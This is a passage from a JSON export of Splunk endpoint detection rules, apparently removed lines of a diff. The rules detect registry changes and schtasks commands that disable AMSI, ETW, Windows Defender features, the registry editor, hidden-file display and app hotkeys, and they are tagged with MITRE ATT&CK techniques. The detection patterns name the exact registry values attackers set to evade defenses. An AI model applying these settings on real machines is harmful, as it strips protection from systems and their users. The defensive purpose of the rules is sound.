- "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified attempting to disable security services on endpoint $dest$ by user $user$.", - "risk_score": 20, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Disable AMSI Through Registry", - "description": "The following analytic detects modifications to the Windows registry that disable the Antimalware Scan Interface (AMSI) by setting the \"AmsiEnable\" value to \"0x00000000\". This detection leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows Script\\\\Settings\\\\AmsiEnable\". Disabling AMSI is significant as it is a common technique used by ransomware, Remote Access Trojans (RATs), and Advanced Persistent Threats (APTs) to evade detection and impair defenses. If confirmed malicious, this activity could allow attackers to execute payloads with minimal alerts, leading to potential system compromise and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows Script\\\\Settings\\\\AmsiEnable\" Registry.registry_value_data = \"0x00000000\") BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.dest Registry.user | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_amsi_through_registry_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Ransomware", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Disable AMSI Through Registry on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Disable Defender AntiVirus Registry", - "description": "The following analytic detects the modification of Windows Defender registry settings to disable antivirus and antispyware protections. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to registry paths associated with Windows Defender policies. This activity is significant because disabling antivirus protections is a common tactic used by adversaries to evade detection and maintain persistence on compromised systems. If confirmed malicious, this action could allow attackers to execute further malicious activities undetected, leading to potential data breaches, system compromise, and further propagation of malware within the network.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path = \"*\\\\Policies\\\\Microsoft\\\\Windows Defender*\" Registry.registry_value_name IN (\"DisableAntiSpyware\",\"DisableAntiVirus\") Registry.registry_value_data = 0x00000001) BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.user Registry.dest | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_defender_antivirus_registry_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Disable Defender BlockAtFirstSeen Feature", - "description": "The following analytic detects the modification of the Windows registry to disable the Windows Defender BlockAtFirstSeen feature. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path associated with Windows Defender SpyNet and the DisableBlockAtFirstSeen value. This activity is significant because disabling this feature can allow malicious files to bypass initial detection by Windows Defender, increasing the risk of malware infection. If confirmed malicious, this action could enable attackers to execute malicious code undetected, leading to potential system compromise and data breaches.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path = \"*\\\\Microsoft\\\\Windows Defender\\\\SpyNet*\" Registry.registry_value_name = DisableBlockAtFirstSeen Registry.registry_value_data = 0x00000001) BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.user Registry.dest | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_defender_blockatfirstseen_feature_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A", - "IcedID", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Disable Defender Enhanced Notification", - "description": "The following analytic detects the modification of the registry to disable Windows Defender's Enhanced Notification feature. It leverages data from Endpoint Detection and Response (EDR) agents, specifically monitoring changes to the registry path associated with Windows Defender reporting. This activity is significant because disabling Enhanced Notifications can prevent users and administrators from receiving critical security alerts, potentially allowing malicious activities to go unnoticed. If confirmed malicious, this action could enable an attacker to bypass detection mechanisms, maintain persistence, and escalate their activities without triggering alerts.", - "search": "| tstats `security_content_summariesonly` count min(_time) AS firstTime max(_time) AS lastTime FROM datamodel=Endpoint.Processes BY _time span=1h Processes.user Processes.process_id Processes.process_name Processes.process Processes.process_path Processes.dest Processes.parent_process_name Processes.parent_process Processes.process_guid | `drop_dm_object_name(Processes)` | join process_guid [ | tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path = \"*Microsoft\\\\Windows Defender\\\\Reporting*\" Registry.registry_value_name = DisableEnhancedNotifications Registry.registry_value_data = 0x00000001) BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`] | fields firstTime lastTime dest user parent_process_name parent_process process_name process_path process registry_key_name registry_path registry_value_name registry_value_data process_guid | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_defender_enhanced_notification_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A", - "IcedID", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Disable Defender MpEngine Registry", - "description": "The following analytic detects the modification of the Windows Defender MpEngine registry value, specifically setting MpEnablePus to 0x00000000. This detection leverages endpoint registry logs, focusing on changes within the path \"*\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\MpEngine*\". This activity is significant as it indicates an attempt to disable key Windows Defender features, potentially allowing malware to evade detection. If confirmed malicious, this could lead to undetected malware execution, persistence, and further system compromise. Immediate investigation and endpoint isolation are recommended.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path = \"*\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\MpEngine*\" Registry.registry_value_name = MpEnablePus Registry.registry_value_data = 0x00000000) BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.user Registry.dest | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_defender_mpengine_registry_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Disable Defender Spynet Reporting", - "description": "The following analytic detects the modification of the registry to disable Windows Defender SpyNet reporting. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path associated with Windows Defender SpyNet settings. This activity is significant because disabling SpyNet reporting can prevent Windows Defender from sending telemetry data, potentially allowing malicious activities to go undetected. If confirmed malicious, this action could enable an attacker to evade detection, maintain persistence, and carry out further attacks without being flagged by Windows Defender.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path = \"*\\\\Microsoft\\\\Windows Defender\\\\SpyNet*\" Registry.registry_value_name = SpynetReporting Registry.registry_value_data = 0x00000000) BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.user Registry.dest | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_defender_spynet_reporting_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A", - "IcedID", - "Qakbot", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Disable Defender Submit Samples Consent Feature", - "description": "The following analytic detects the modification of the Windows registry to disable the Windows Defender Submit Samples Consent feature. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path associated with Windows Defender SpyNet and the SubmitSamplesConsent value set to 0x00000000. This activity is significant as it indicates an attempt to bypass or evade detection by preventing Windows Defender from submitting samples for further analysis. If confirmed malicious, this could allow an attacker to execute malicious code without being detected by Windows Defender, leading to potential system compromise.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path = \"*\\\\Microsoft\\\\Windows Defender\\\\SpyNet*\" Registry.registry_value_name = SubmitSamplesConsent Registry.registry_value_data = 0x00000000) BY _time span=1h Registry.user Registry.dest Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_defender_submit_samples_consent_feature_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A", - "IcedID", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Disable ETW Through Registry", - "description": "The following analytic detects modifications to the registry that disable the Event Tracing for Windows (ETW) feature. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path \"*\\\\SOFTWARE\\\\Microsoft\\\\.NETFramework\\\\ETWEnabled\" with a value set to \"0x00000000\". This activity is significant because disabling ETW can allow attackers to evade detection mechanisms, making it harder for security tools to monitor malicious activities. If confirmed malicious, this could enable attackers to execute payloads with minimal alerts, impairing defenses and potentially leading to further compromise of the system.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\.NETFramework\\\\ETWEnabled\" Registry.registry_value_data = \"0x00000000\") BY _time span=1h Registry.dest Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_etw_through_registry_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Ransomware", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Disable ETW Through Registry on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Disable Registry Tool", - "description": "The following analytic detects modifications to the Windows registry aimed at disabling the Registry Editor (regedit). It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\DisableRegistryTools\" with a value of \"0x00000001\". This activity is significant because malware, such as RATs or trojans, often disable registry tools to prevent the removal of their entries, aiding in persistence and defense evasion. If confirmed malicious, this could hinder incident response efforts and allow the attacker to maintain control over the compromised system.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\DisableRegistryTools\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.user Registry.dest Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`| where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_registry_tool_filter`", - "tags": { - "analytic_story": [ - "NjRAT", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Disabled Registry Tools on $dest$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Disable Schedule Task", - "description": "The following analytic detects the execution of a command to disable an existing scheduled task using 'schtasks.exe' with the '/change' and '/disable' parameters. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. Disabling scheduled tasks is significant as it is a common tactic used by adversaries, including malware like IcedID, to disable security applications and evade detection. If confirmed malicious, this activity could allow attackers to persist undetected, disable critical security defenses, and further compromise the targeted host.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=schtasks.exe Processes.process=*/change* Processes.process=*/disable* by Processes.user Processes.process_name Processes.process Processes.parent_process_name Processes.parent_process Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_schedule_task_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "schtask process with commandline $process$ to disable schedule task in $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Disable Show Hidden Files", - "description": "The following analytic detects modifications to the Windows registry that disable the display of hidden files. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to registry paths associated with hidden file settings. This activity is significant because malware, such as worms and trojan spyware, often use hidden files to evade detection. If confirmed malicious, this behavior could allow an attacker to conceal malicious files on the system, making it harder for security tools and analysts to identify and remove the threat.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\Hidden\" OR (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\HideFileExt\" Registry.registry_value_data = \"0x00000001\") OR (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\ShowSuperHidden\" Registry.registry_value_data = \"0x00000000\" )) BY _time span=1h Registry.user Registry.dest Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_show_hidden_files_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Disabled 'Show Hidden Files' on $dest$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1564.001", - "mitre_attack_technique": "Hidden Files and Directories", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "FIN13", - "HAFNIUM", - "Lazarus Group", - "LuminousMoth", - "Mustang Panda", - "Rocke", - "Transparent Tribe", - "Tropic Trooper" - ] - }, - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1564", - "mitre_attack_technique": "Hide Artifacts", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Disable Windows App Hotkeys", - "description": "The following analytic detects a suspicious registry modification aimed at disabling Windows hotkeys for native applications. It leverages data from the Endpoint.Registry data model, focusing on specific registry paths and values indicative of this behavior. This activity is significant as it can impair an analyst's ability to use essential tools like Task Manager and Command Prompt, hindering incident response efforts. If confirmed malicious, this technique can allow an attacker to maintain persistence and evade detection, complicating the remediation process.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=\"*\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\*\" AND Registry.registry_value_data= \"HotKey Disabled\" AND Registry.registry_value_name = \"Debugger\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_windows_app_hotkeys_filter`", - "tags": { - "analytic_story": [ - "Windows Registry Abuse", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Disabled 'Windows App Hotkeys' on $dest$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - 